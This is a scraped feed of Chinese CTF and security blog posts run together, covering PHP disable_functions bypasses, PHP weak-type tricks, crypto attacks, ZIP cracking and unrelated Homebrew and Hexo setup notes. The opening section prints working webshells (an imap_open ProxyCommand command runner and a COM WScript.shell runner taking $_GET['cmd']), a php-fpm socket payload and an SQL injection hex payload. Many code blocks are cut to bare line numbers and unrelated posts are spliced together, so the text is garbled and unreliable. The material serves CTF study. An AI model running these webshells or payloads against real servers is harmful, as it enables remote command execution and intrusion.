exec,passthru,popen,popepassthru,proc_open,shell_exec,system
chgrp,chown,chroot,dl,error_log,fsocket,fsockopen,imap_open,ini_alter,ini_restore,link,mail,mb_send_mail,imap_mail,openlog,pfsockopen,proc_get_status,putenv,readlink,stream_socket_server,symlink,syslog
详细方法:https://www.freebuf.com/web/192052.html
依赖函数:putenv
可利用函数:mail / error_log / 其他执行了本地二进制文件的函数1
2error_log("test",1,"","");
mail("", "", "", "");
依赖:php-imap,php.ini中开启imap.enable_insecure_rsh选项为On1
2
3
4
5
6
7
8
9
10
11<?php
error_reporting(0);
if (!function_exists('imap_open')) {
die("no imap_open function!");
}
$server = "x -oProxyCommand=echo\t" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64\t-d|sh}";
//$server = 'x -oProxyCommand=echo$IFS$()' . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . '|base64$IFS$()-d|sh}';
imap_open('{' . $server . ':143/imap}INBOX', '', ''); // or var_dump("\n\nError: ".imap_last_error());
sleep(5);
echo file_get_contents("/tmp/cmd_result");
?>
依赖:php-fpm1
$sock=stream_socket_client('unix:///run/php/php7.0-fpm.sock');fputs($sock, base64_decode($_POST['A']));var_dump(fread($sock, 4096));
payload 生成可参考
https://www.xmsec.cc/attack-webcgi-with-socket/
Such conditions can be achieved in a pretty standard Nginx configuration. If one has Nginx config like this:1
2
3
4
5
6
7 location ~ [^/]\.php(/|$) {
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
}
https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043
php.ini 开启 com.allow_dcom = true
启用 extension=php_com_dotnet.dll1
2
3
4
5
6
7
8<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
Linux kernel version >= 2.98,
PHP-CGI or PHP-FPM (modern Apache versions with mod_php call setuid, thus, there’s no access to procfs),
Linux x64 (you can adjust offsets to make it work on x32 system),
open_basedir = Off (or you should be able to bypass it to read /lib and to read and write in /proc).
https://github.com/beched/php_disable_functions_bypass
From RCTF 2019 NEXTPHP
https://www.mi1k7ea.com/2019/06/07/%E4%BB%8E%E4%B8%80%E9%81%93%E9%A2%98%E7%9C%8BPHP7-4%E7%9A%84FFI%E7%BB%95%E8%BF%87disable-functions/
7.0 - all versions to date
7.1 - all versions to date
7.2 - all versions to date
7.3 - all versions to date
https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass
7.1 - all versions to date
7.2 < 7.2.19 (released: 30 May 2019)
7.3 < 7.3.6 (released: 30 May 2019)
https://github.com/mm0r1/exploits/tree/master/php-json-bypass
image magick
Bash的破壳漏洞
GhostScript沙箱绕过
先看下强类型和弱类型的区别。
强类型指的是每个变量和对象都必须具有声明类型,是在编译的时候就确定类型的数据,在执行时类型不能更改,代表语言如Java、C等;而弱类型在执行的时候才会确定类型, 代表语言如PHP、Python等。
强类型较安全,而且效率高;弱类型相比而言不安全。
===在进行比较的时候,会先判断两个变量的类型是否相等,再比较;
==在进行比较的时候,会先将变量类型转化成相同,再比较。也就是说,相比之前,==并不会去比较两个变量的类型是否相等。
除此之外,还有!=和!==,原理和前面一样。
如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行:1
2
3
4
5
6
7
8
9<?php
var_dump("admin"==0); //true
var_dump("1admin"==1); //true
var_dump("admin1"==1); //false
var_dump("admin1"==0); //true
var_dump("0e123456"=="0e4456789"); //true
var_dump("0x123" == "291"); //true
var_dump(is_numeric("0x123")); //true
?>
观察上述代码,”admin”==0
比较的时候,会将admin强制转化成数值,由于admin是字符串,转化的结果是0,自然和0相等;“1admin”==1
比较的时候会将1admin强制转化成数值,结果为1,而”admin1”==1
等于错误,也就是”admin1”被强制转化成了0,为什么呢?——当一个字符串被当作一个数值来取值,其结果和类型如下:如果该字符串没有包含’.’、’e’、’E’并且其数值值在整形的范围之内,则该字符串被当作int来取值,其他所有情况下都被作为float来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0;“0e123456”==”0e456789”
比较的时候,会将0e这类字符串识别为科学计数法的数字,0的无论多少次方都是零,所以相等。
php71
2
3
4
5
6
7
8php > var_dump("0x123" == "291");
bool(false)
php > var_dump(is_numeric("0x123"));
bool(false)
php > var_dump("0xe" + "0x1");
int(0)
php > var_dump(substr("foo", "0x1"));
string(3) "foo"
可以发现16进制字符串已经不能被认为是数字。
intval(var)函数用于获取变量的整数值。在转换时,函数会从字符串起始处进行转换直到遇到一个非数字的字符,即使出现无法转换的字符串也不会报错而是返回0,从而可以导致如下情形的Bypass:
1 | <?php |
md5()和sha1()都用于计算字符串的散列值,但是两者都无法处理数组、不会抛出异常而是直接返回false。
如下情形,要求输入两个数使得一个参数的md5值和另一个参数的sha1值相等,当都输入数组时会导致NULL=NULL从而Bypass:
1 | <?php |
is_numeric()函数用于检测变量是否为数字或数字字符串。
但是函数的范围比较广泛,不仅仅是十进制的数字,其可被十六进制的值进行绕过,如下情形可造成二次注入:
1 | <?php |
1′ union select 1,2,3的十六进制为0x312720756e696f6e2073656c65637420312c322c33
访问:http://127.0.0.1/x.php?name=0x312720756e696f6e2073656c65637420312c322c33
1 | mysql> select * from users; |
in_array(search,array,type)
array_search(value,array,strict)
in_array()函数用来判断一个值是否在某一个数组列表里面。array_search() 函数在数组中搜索某个键值,并返回对应的键名。
其缺陷在于未指定第三个参数时,存在自动类型转换,相当于逐个 ==
。
ereg()和eregi()函数都用于正则匹配,两者的区别在于是否区分大小写,使用指定的模式搜索一个字符串中指定的字符串,如果匹配成功则返回true,否则返回false。
该函数可被%00截断来Bypass:1
2
3
4
5
6
7
8
9<?php
$passwd = $_GET['passwd'];
if (@ereg("^[a-zA-Z0-9_]+$", $passwd)) {
$sql = "Select username From users Where password='".$passwd."'";
echo $sql;
} else {
echo "No...";
}
?>
又可参见:https://www.whitehatsec.com/blog/magic-hashes/
该情形下的哈希碰撞是基于弱类型==或!=的。
下面看个题目,大意是要输入一个字符串和数字类型,并且他们的md5值相等,就可以成功执行下一步语句 :1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
$logined = true;
$username = $_GET['username'];
$password = $_GET['password'];
if (!ctype_alpha($username)) {$logined = false;}
if (!is_numeric($password) ) {$logined = false;}
if (md5($username) != md5($password)) {$logined = false;}
if ($logined){
echo "successful";
}else{
echo "login failed!";
}
}
?>
1 | md5 |
大部分内容转载自来源 1,只进行了少量修改。
1.https://www.mi1k7ea.com/2019/06/21/PHP%E5%BC%B1%E7%B1%BB%E5%9E%8B%E5%B0%8F%E7%BB%93/
2.很多之前的笔记,无法一一列举
1 | export {http,https,ftp}_proxy='http://127.0.0.1:1080' |
or proxychains4
sudo route add -net 10.0.0.0 -netmask 255.0.0.0 172.29.7.254
ip mask gateway 适用内网与外网网关不同时
1 | git -C "$(brew --repo)" remote set-url origin https://mirrors.tuna.tsinghua.edu.cn/git/homebrew/brew.git |
如果替换源之后brew update 没反应1
2cd "$(brew --repo)"
git pull origin master
切回官方源1
2
3
4git -C "$(brew --repo)" remote set-url origin https://github.com/Homebrew/brew.git
git -C "$(brew --repo homebrew/core)" remote set-url origin https://github.com/Homebrew/homebrew-core.git
git -C "$(brew --repo homebrew/cask)" remote set-url origin https://github.com/Homebrew/homebrew-cask.git
brew update
Homebrew Bottles是Homebrew提供的二进制代码包,目前镜像站收录了以下仓库:
对于bash用户1
2echo 'export HOMEBREW_BOTTLE_DOMAIN=https://mirrors.ustc.edu.cn/homebrew-bottles' >> ~/.bash_profile
source ~/.bash_profile
对于zsh用户1
2echo 'export HOMEBREW_BOTTLE_DOMAIN=https://mirrors.ustc.edu.cn/homebrew-bottles' >> ~/.zshrc
source ~/.zshrc
brew info python
brew install python
brew link python
brew cleanup
1 | 通信前 |
mkdir /var/run/xxx
docker run --privileged
docker run --cap-add=SYS_PTRACE
(or ALL
) brew cask install Proxyfier
brew install jadx
sudo pip install pwntools
after brew install python@2
sudo pip3 install pwntools
after brew install python
brew cask install dozer
状态菜单图标隐藏vmhgfs-fuse .host:/ /mnt/hgfs/
.host:/ /mnt/hgfs fuse.vmhgfs-fuse allow_other 0 0
https://officecdn-microsoft-com.akamaized.net/pr/C1297A47-86C4-4C1F-97FA-950631F94777/MacAutoupdate/Microsoft_Office_16.25.19051201_Installer.pkg
发现 10.13 自带的 php7 不能安装 xdebug… 否则需要关闭 SIP,算了不如自己再装一个。
brew 在新版中更新了 php 的位置,可以使用 brew search php 查看。
这里安装 php 7.1 版本,安装命令 brew install php@7.1
最后安装完成的信息如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23To enable PHP in Apache add the following to httpd.conf and restart Apache:
LoadModule php7_module /usr/local/opt/php@7.1/lib/httpd/modules/libphp7.so
<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>
Finally, check DirectoryIndex includes index.php
DirectoryIndex index.php index.html
The php.ini and php-fpm.ini file can be found in:
/usr/local/etc/php/7.1/
php@7.1 is keg-only, which means it was not symlinked into /usr/local,
because this is an alternate version of another formula.
If you need to have php@7.1 first in your PATH run:
echo 'export PATH="/usr/local/opt/php@7.1/bin:$PATH"' >> ~/.zshrc
echo 'export PATH="/usr/local/opt/php@7.1/sbin:$PATH"' >> ~/.zshrc
For compilers to find php@7.1 you may need to set:
export LDFLAGS="-L/usr/local/opt/php@7.1/lib"
export CPPFLAGS="-I/usr/local/opt/php@7.1/include"
可参考其中配置,在 bash(zsh)中执行1
2echo 'export PATH="/usr/local/opt/php@7.1/bin:$PATH"' >> ~/.zshrc
echo 'export PATH="/usr/local/opt/php@7.1/sbin:$PATH"' >> ~/.zshrc
或者你确实需要替换系统 php,则执行 brew link php@7.1
会提示你下一步操作。
另外,如果需要多版本切换,可参考:
https://www.cnblogs.com/it-tsz/p/9311768.html
如果需要替换系统 apache,可参考:
http://www.hangge.com/blog/cache/detail_2333.html
如果只是需要调试 php,暂不需要上面两步操作。
两种方式安装,先介绍简单的:
通过 brew 安装的 php 已经添加了这个功能,可通过pecl install xdebug-2.7.1
版本号需要再次确认下,可以参看第二种方法确认。
这种方式安装的 xdebug 自动配置在 php.ini 第一行,最好调整至最后一行,见收尾部分。
访问上述页面,将 phpinfo()
信息或者 php -i
提交,可以得到编译安装方式。在这里我的信息是:
1 | Download xdebug-2.7.1.tgz |
按照他的顺序来就可以。
在 php.ini 末尾添加如下信息(端口如果冲突可以修改为其他端口)1
2
3
4
5
6
7zend_extension=/usr/local/lib/php/pecl/20160303/xdebug.so
xdebug.remote_enable=1
xdebug.remote_autostart=1
xdebug.remote_connect_back=1
xdebug.remote_port=9000
xdebug.scream=0
xdebug.show_local_vars=1
找到 /etc/apache2/httpd.conf 文件,更改 php7 那一行为如下两行:1
2LoadModule php7_module /usr/local/opt/php@7.1/lib/httpd/modules/libphp7.so
#LoadModule php7_module libexec/apache2/libphp7.so
启动 node 报错了,因为 php 用到的一个依赖和 node 冲突了,参考如下解决就行了,没仔细研究。
https://www.jianshu.com/p/f276676a464e
https://segmentfault.com/a/1190000018065230?utm_source=tag-newest
zsh: /usr/local/bin/pip: bad interpreter: /usr/local/opt/python/bin/python3.7: no such file or directory
随 php 安装的 py3 更新了版本,并且覆盖了软连接brew link --overwrite python@2
可解决
1 | ImportError: dlopen(/usr/local/Cellar/python@2/2.7.15_1/Frameworks/Python.framework/Versions/2.7/lib/python2.7/lib-dynload/readline.so, 2): Library not loaded: /usr/local/opt/readline/lib/libreadline.7.dylib |
安装 php 更新了 readline 到 8
1 | /usr/local/opt/readline/lib/: |
解决:ln -s /usr/local/opt/readline/lib/libreadline.8.0.dylib /usr/local/opt/readline/lib/libreadline.7.dylib
这篇 web 中的密码学攻击滞留在博客好久了,因为详细写懒得动,简单写又太水,最后还是在这里水一下吧。包含:
在某篇wp中,为了填坑,写了关于此部分的理解。
MD5等hash算法会对输入进行分组并PADDING,来满足固定的长度,于是我们可以在原有的输入后手动增加PADDING字符,来保证原有的分组不被改变,并在原来的基础上添加新的输入。
PADDING:
我们以例子说明:
比如对’admin’字符串进行md5加密,那么填充就应该是'61646d696e8000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002800000000000000'
‘61646d696e’是admin的hex编码,80是填充的第一字节,后面的28表示40bit,即5个字节,是小端。
在采用MD5(SALT+SECRET)等类似方式时,由于未知量拼接后在SECRET前面,导致可以在SECRET后添加PADDING字符,在不知道salt的情况下,通过已知的一对VALUE-HASH值,枸造出一对新的VALUE-HASH值(value在原来的基础上在末尾添加额外数据)。
亦可参考:https://seaii-blog.com/index.php/2017/05/12/56.html
原理请见:
如果看原理的话,个人感觉最好的便是白帽子讲 web 安全,其次是上面两篇。其他的写的都没有上述的三篇清晰。
遇到的题目:
https://www.xmsec.cc/ddctf-2019-writeup/#%E5%86%8D%E6%9D%A5%E4%B8%80%E6%9D%AFjava
其中 token 在 cookie 中,值为 UGFkT3JhY2xlOml2L2NiY8O+7uQmXKFqNVUuI9c7VBe42FqRvernmQhsxyPnvxaF
显然提示了 Padding Oricle,根据原理可写出上文中的脚本,爆出明文 {"id":100,"roleAdmin":false}
,最后根据 IV / 中间值 / 密文的关系构造新的明文 {"id":100,"roleAdmin":true}
即可。
https://seaii-blog.com/index.php/2017/05/13/60.html
原来一直在看这篇,但是作者讲的细节也有一些欠缺,但是作为复习来看还是可以的。
]]>一直没有把用到的系统命令系统整理一下,想着博客搁置好久了,好些内容也在之前的随笔写了些,但是混合起来还是干货不足,现在这里划一划(吧。
不定期更新中
docker exec -it container-id /bin/[ba]sh
docker run -it[d] [--rm] -v hostdir:vdir -p hostp:vp [--name xxx] /file/to/run
docker build ./
docker rm $(docker ps -aq)
grep -r "flag" *
#当前目录grep -rln 'keyword' /home
grep -rlP ^1cff /home
按16进制搜索
find /home -name '*keyword*'
按文件名搜索
sed -i 's/astring/bstring/g' path/to/file
sed -i 's/http:\/\/archive.ubuntu.com/http:\/\/mirrors.163.com/g' /etc/apt/sources.list
sed -i 's/astring/bstring/g' [grep -rl](反引号包裹
替换子文件夹tar zcvf /tmp/www.tgz /var/www/html
tar zxvf /tmp/www.tgz -C /tmp/
提供crontab命令来设定cron服务的,以下是这个命令的一些参数与说明:
netstat -antp
netstat -ano
winnetstat -ano|findstr 'port num'
win1 | route ADD 202.1.0.100 MASK 255.255.255.255 172.16.7.1 if 12 |
注意接口配置
1 | netstat -rn --查看路由表 |
此外要在配置中调整默认路由网卡为优先
只进行一点点的更新和随笔。
]]>base64在对中文进行编码和解码时容易出现乱码的问题,从而可能失去base64编码这种思路,经过查找,在 http://www.mxcz.net/tools/base64.aspx 中勾选GB2312即可正常解码。
与佛论禅编码。在做杂项题时遇到了一个奇怪的编码方式,经过编码得到佛经的内容,类似于无密码加密后用汉字替换字母。
比如下面这个base64vKrrYLDjvuOwosFQyc++48bFv+C237VLyfHKx77jtcPSucrA0q7SucTFxfPWtsTHyd2/4MTFytKw48ndtcO+ucSmyeHapLyqyd3i8sndwv7WtsrH8Ku17snd1dqMkcnd5rbAj8P32qSc57nK1FjE4cFQsKLWts+k2aTSt9aUuvTU0NaU2qTT0Na2yarExepBwM+12Ly08Kv8Ttqktci12LrI2qS8tMXz1k+1ucTFxPnAz7LAhaLZpMCPoHE=
经过解码得到吉隸般俱阿罰上俱婆苦哆礙神是俱得夜世耶夜呐朋侄那奢苦呐室般奢得竟摩舍冥吉奢怛奢漫侄是皤殿奢遮寫奢娑缽明冥滅故訶尼罰阿侄悉伽曳謹呼孕謹冥有侄瑟呐闍老地即皤麼冥等地喝冥即朋諳倒呐涅老怖參伽缽爍
revese之后与佛论禅解码就可以得到结果。http://www.ptxz.com/fo/
本文来自某个CTF题目以及WP,给出链接。
参考题目
最近遇到了一个颇有意思的题目,内容涉及图片隐写和ZIP伪加密。接下来主要分享关于zip伪加密的一些内容。
ZIP伪加密是在文件头的加密标志位做修改,进而再打开文件时识别为加密压缩包。
在参考了网上多数文章无果后,在西普的一个小题找到了可以复现的方法。
给出某个示例:
压缩源文件数据区 50 4B 03 04:这是头文件标记(0x04034b50)14 00:解压文件所需 pkware 版本 00 00:全局方式位标记(有无加密) 08 00:压缩方式 5A 7E:最后修改文件时间 F7 46:最后修改文件日期 16 B5 80 14:CRC-32校验(1480B516)19 00 00 00:压缩后尺寸(25)17 00 00 00:未压缩尺寸(23)07 00:文件名长度 00 00:扩展记录长度 6B65792E7478740BCECC750E71ABCE48CDC9C95728CECC2DC849AD284DAD0500 压缩源文件目录区 50 4B 01 02:目录中文件文件头标记(0x02014b50) 3F 00:压缩使用的 pkware 版本 14 00:解压文件所需 pkware 版本 00 00:全局方式位标记(有无加密,这个更改这里进行伪加密,改为09 00打开就会提示有密码了) 08 00:压缩方式 5A 7E:最后修改文件时间 F7 46:最后修改文件日期 16 B5 80 14:CRC-32校验(1480B516)19 00 00 00:压缩后尺寸(25)17 00 00 00:未压缩尺寸(23)07 00:文件名长度 24 00:扩展字段长度 00 00:文件注释长度 00 00:磁盘开始号 00 00:内部文件属性 20 00 00 00:外部文件属性 00 00 00 00:局部头部偏移量 6B65792E7478740A00200000000000010018006558F04A1CC5D001BDEBDD3B1CC5D001BDEBDD3B1CC5D001 压缩源文件目录结束标志 50 4B 05 06:目录结束标记 00 00:当前磁盘编号 00 00:目录区开始磁盘编号 01 00:本磁盘上纪录总数 01 00:目录区中纪录总数 59 00 00 00:目录区尺寸大小 3E 00 00 00:目录区对第一张磁盘的偏移量 00 00:ZIP 文件注释长度
可注意到第二个加密标志位,0000改为0900便会出现伪加密。
实测例子(仅压缩一个1.txt)如图:
可在第三行最后发现 0008 与开始的 0008 对应。
将 0008 改为 0908 再解压时需要输入密码。
改为原状则不需要输入密码。
参考题目:
1.实验吧
2.RCTF MISC200
3.2016京津冀网络安全技能赛 MISC
xmsec
]]>从接触隐写术到现在有一段时间了,也在乌云上见到了经典的分享,详见参考目录。个人感觉隐写术的趣味性很强,故总结一些关于图片隐写术的小姿势。(不断补充)
工具:python
参考:
1.隐写术总结
2.西普实验吧
xmsec
]]>各路大牛已经写了不少教程,也就不在这里多废话了。
可以参考以下文章:
1.http://www.pangjian.info/2015/02/27/realtime-count-firebase/
2.http://ibruce.info/2013/12/22/count-views-of-hexo/
<script src="//buru.u.qiniudn.com/firebase-2.0.5.js"></script>
1 | <footer id="footer"> |
注意添加font id 行
js代码写法
js代码可以写在footer中。
给出一个footer.ejs示例。
点击下载
1 | <div class="copyright"> |
@简书
做法是先注册账号,然后添加网址就设置好了。CNZZ作为例子说明一下。
1.在CNZZ网站注册一个账号,添加网站后,得到各个形式的代码,任选其一;
2.在Hexo\themes\jacman\layout_partial文件夹下新建一个cnzz_tongji.ejs文件,把你的代码粘贴在第一行和最后一行之间(中间是我的,替换成你自己的);1
2
3
4
5
6<% if (theme.cnzz){ %>
<script type="text/javascript">
var cnzz_protocol = (("https:" == document.location.protocol) ? " https://" : " http://");
document.write(unescape("%3Cspan id='cnzz_stat_icon_1256211004'%3E%3C/span%3E%3Cscript src='" + cnzz_protocol + "s95.cnzz.com/z_stat.php%3Fid%3D1256211004%26show%3Dpic' type='text/javascript'%3E%3C/script%3E"));
</script>
<% } %>
3.在footer.ejs文件中适当的位置添加你的代码1
2
3
4<script type="text/javascript">
var cnzz_protocol = (("https:" == document.location.protocol) ? " https://" : " [http://");](http://");)
document.write(unescape("%3Cspan id='cnzz_stat_icon_1256211004'%3E%3C/span%3E%3Cscript src='" + cnzz_protocol + "s95.cnzz.com/z_stat.php%3Fid%3D1256211004%26show%3Dpic' type='text/javascript'%3E%3C/script%3E"));
</script>
4.在主题配置文件中加入下面代码启用CNZZ统计,注意不要添加站点id,填了的话就不显示图标了。
## Analyticscnzz_tongji: true
xmsec
]]>主要过程请参考官方文档:
https://hexo.io/zh-cn/docs/index.html
基于本博客Octopress搭建过程给出迁移方法。
把 Octopress source/_posts 文件夹内的所有文件转移到 Hexo 的 source/_posts 文件夹,并修改 _config.yml 中的 new_post_name 参数。
new_post_name: :year-:month-:day-:title.md
注:octopress博文目录是在blog目录下,而hexo是在根目录下。如需调整为一致地址,_config.yml中更改permalink,在地址头部加入/blog/
sitemap站点地图
1、安装插件:
npm install hexo-generator-sitemap –save
npm install hexo-generator-baidu-sitemap –save
2、在博客目录的_config.yml中添加如下代码:
1. # 自动生成sitemap2. sitemap:3. path: sitemap.xml4. baidusitemap:5. path: baidusitemap.xml
3、hexo编译的时候会自动在根目录生成站点地图
https://github.com/MikeCoder/hexo-blog-encrypt/issues/16
xmsec
]]>均值计算:
使用时输入数据个数,之后输入第一个数据,点击next,然后输入第二个数据,点击next……输入结束后,点击计算即可显示结果。
计算结果在剔除坏值和不确定度中可直接使用
剔除坏值:
均值计算结束后,点击GO,即可进行剔除坏值。
剔除坏值后原数据会改变,不确定度计算以剔除后的数据为准
不确定度:
第一步计算均值后,输入仪器不确定度Δm(无则填0)后点击OK。即可自动计算。
不确定度计算默认使用第一步的计算结果,仅限于单个测量值的不确定度计算,不适用于间接不确定度计算
线性回归:
每输入一组x,y的值点击next,以此类推,最后点击计算。
关于界面:
点击使用说明访问本界面。
点击反馈交流访问博客。
xmsec
]]>均值计算:
使用时输入数据个数,之后输入第一个数据,点击next,然后输入第二个数据,点击next……输入结束后,点击计算即可显示结果。
计算结果在剔除坏值和不确定度中可直接使用
剔除坏值:
均值计算结束后,点击GO,即可进行剔除坏值。
剔除坏值后原数据会改变,不确定度计算以剔除后的数据为准
不确定度:
第一步计算均值后,输入仪器不确定度Δm(无则填0)后点击OK。即可自动计算。
不确定度计算默认使用第一步的计算结果,仅限于单个测量值的不确定度计算,不适用于间接不确定度计算
线性回归:
每输入一组x,y的值点击next,以此类推,最后点击计算。
关于界面:
点击使用说明访问博客。
(微信请在浏览器打开)
360:
http://zhushou.360.cn/detail/index/soft_id/3094340
豌豆荚:
http://www.wandoujia.com/apps/com.stranger.physicsbird
百度:
http://shouji.baidu.com/software/10659314.html
IOS github:https://github.com/xmsec/PhysicsBird-IOS
反馈交流请留言~ 谢谢
xmsec
]]>介绍:
Google I/O 2014 发布 Material Design,1sters 于 2014-09-09 上线中文版,并稳稳占据百度和 Google material design 关键字的第一名。
历时一年,官方已经新增 20+ 章节,我们再次发力,于「2015-08-16」翻译校对完毕所有新增章节,重新发布。
内容来源
官方英文文档:
http://www.google.com/design/spec/material-design/
中文版网站:
http://wiki.jikexueyuan.com/project/material-design/
中文版 GitHub 仓库:
https://github.com/1sters/material_design_zh_2
Libs
MaterialDesignLibrary
rey5137/material
MaterialEditText
MaterialTabs
MaterialViewPager
Add.
以Github上最热门的MaterialDesign库,MaterialDesignLibrary来介绍怎样使用Android Sudio导入开源项目的,如果你刚刚从Eclipse转到AS,那下面的文章非常适合。
http://www.mamicode.com/info-detail-1044624.html
xmsec
]]>介绍:
随机计算机性能的提高,很多人可能觉得找到一个zip文件的密码是一件很简单的事情。通常,破解zip文件有三种方法:暴力破解、字典攻击,以及明文攻击。
在介绍这三种方法之前,我先给大家介绍几个工具:
AZPR : http://www.elcomsoft.com
UZPC : http://www.chat.ru/~m53group
PKCrack : http://www.unix-ag.uni-kl.de/~conrad/krypto/pkcrack.html
具体怎么使用,可以参照他们的文档,很详细。当然,你也可以通过搜索引擎选择其他的工具。
了解目标文件俗话说,知己知彼,百战不殆。在进行破解之前,全面了解加密的文件可以帮助我们获得很多有用的信息。比如,用WinRAR(windows)或者‘unzip -l’(linux)命令来?获取压缩包的目录结构,和它所包含的文件信息。你时刻要提醒自己注意>的是,有没有可能知道某个加密文件的部分信息。比如说,一个简单的文本文件(readme.txt),或者通用的dll文件(VBXXX.dll、MFCXX.dll),或者是一个通用的.exe文件(SETUP.EXC)。尽可能的去发现任何你可能发现的东西,这一点非常重要。如果你得不到加密文件里的任何片段,那么很遗憾,你将无法使用明文攻击这一最有效的破解利器。
破解的三种方法:
暴力破解。这是最花时间的一种破解方式,除此之外你还能期待些什么?正如它的名字所表达的,暴力破解就是不断的去尝试所有可能的密码。如果密码比较短,或许在短时间内可以找到正确的密码。但是如果比较长,比如说用64个字符长的字符串来做密码的话,可能你重生十次后发现依然未能找到答案。
字典攻击。相比于暴力破解这种弱智儿童,字典攻击大概就是三岁小孩的智商。它使用了一个字典文件,然后一一尝试文件中的每个密码。现在在网络上有很多的人相互共享自己的字典文件,这使得字典攻击比暴力破解有效率得多。尤其是当目标文件是用一个弱密码进行保护的时候,字典攻击效率较高。但是,由于字典攻击没有囊括所有可能的密码,所以对于强密码保护的zip文件,字典攻击毫无办法。
最有意思的一种方法:
破解
如果你已经知道加密文件的部分内容,比如在某个网站上发现了它的readme.txt文件,你就可以开始尝试破解了。首先,将这个明文文件打包成zip包,比如将readme.txt打包成readme.zip。打包完成后,需要确认二者采用的压缩算法相同。一个简单的判断方法是用winRAR打开文件,同一个文件压缩后的体积是否相同。如果相同,基本可以说明你用的压缩算法是正确的。如果不同,就尝试另一种压缩算法。
现在,你有了两个文件:
假设两个文件的结构如下:
Crypt.zip
-- file1.txt-- readme.txt
Plain.zip
|– readme.txt
然后,通过控制台调用pkcrack:
pkcrack –c readme.txt –p readme.txt –C 1.zip –P readme.zip -d de.zip
几个参数的意义如下:
-C : 要破解的目标文件(含路径)
-c :破解文件中的明文文件的名字(其路径不包括系统路径,从zip文件一层开始)
-P :压缩后的明文文件
-p : 压缩的明文文件中明文文件的名字(也就是readme.txt在plain.zip中的位置)
如下是一个解密过程的截图:
这里有一个要注意的地方:pkcrack在vista和win7下面无法正常运行,所以请保证操作系统是xp或者linux。
pkcrack还有一个重要的选项是-d,后面跟一个文件名,比如decrypt.zip,表示解密后的zip文件输出。虽然在这个例子中,我没有用到这个选项,但是强烈推荐使用这一选项。如果不用这一选项,解密的时间非常长,而使用这一选项的话,一般只要几分钟。至于为什么不用会变慢,大家可以参照它的readme文档,大概是跟一个叫做findkey的程序有关,这里就不多解释了。
如何简单的避免密码破解呢?
对于明文攻击,最简单有效的方法是进行两次zip加密,这样明文文件的信息就不会暴露在破解者的眼皮底下。对于字典攻击,避免使用弱密码,采用数字加字符的方式生成密码。对于暴力破解,采用7个字符以上的密码就可以让破解者见鬼去了。
资料引用自CSDN
样例下载 XDCTF 2015 MISC 200
链接: http://pan.baidu.com/s/1hqLcqbi 密码: 2nmd
简要测试步骤:
xmsec
]]>octopress在GIT上的安装,根据视频演示,整理文字内容如下。
更新后注明:
1.
需要搭建平台环境,并且修改部分http地址
(2015.11.22更新Ruby镜像地址,因http镜像关闭;增加部分流程)环境搭建:Git、Ruby、DevKit、MarkdownPad
2. ruby 环境问题,可能会遇到问题,提供其他方案
MarkdownPad:Windows 下 Markdown 语法编辑器
1.Git config –global user.name “”
2.Git config –global user.email “”
3.C:user目录下.ssh 使用bash ssh-keygen –t rsa –C “email” 回车
4.密码可以不用输入。文件生成为pub公钥内容提交到git的settings,ssh keys Add 新的,加入key
5.bash ssh –T git@github.com @again
6.Ruby:Path Add to Path! & bash ruby dk.rb init 生成 yml文件
7.Yml文件存有 ruby path
8.Bash buby dk.rb install
9.Octopress 克隆
克隆 Octopress 至本地
git clone git://github.com/imathis/octopress.git octopress
安装依赖项
gem sources –a https://ruby.taobao.org
gem sources –r http://rubygems.org
gem sources –r https://rubygems.org
vi Gemfile VIM press i
gem install bundler
bundle install
安装依赖项时需要注意
安装并使用默认主题
rake install
1.bash rake generate rake preview
2.文件夹Sources include head.html google libs.baidu.com/jquery
新建博客
rake new_post[“title”]
新建单页面
rake new_page[jikexueyuan]
// creates /source/jikexueyuan/index.markdown
rake new_page[jikexueyuan/page.html]
// creates /source/jikexueyuan/page.html
1.工具
MarkdownPad、记事本、Vim、Emacs……
引用- 列表、 * 加粗、 []() 超链接、 !{}() 图片、 {% video http 640 320 %} 视频、···code···
新建仓库
username.github.io
与本地 Octopress 目录绑定
rake setup_github_pages 输入第一种URL
rake deploy(rake deploy可能会遇到错误,可使用git windows 同步)
将 source 目录更新到远程仓库
git add .
git commit -m ‘your message’
git push origin source
主配置文件
在 _config.yml 文件中,设置 url、title、author 等基本信息
主题安装
1.到 GitHub 上找主题文件
2.安装主题
rake install[‘themename’]
3.重新生成
rake generate
安装主题会清除原有的配置
增加评论功能
使用多说插件 http://duoshuo.com/
注:
1.bash表示bash提示符下
2.请结合google使用,本文只提供参考
xmsec
]]>Place to share.
xmsec
]]>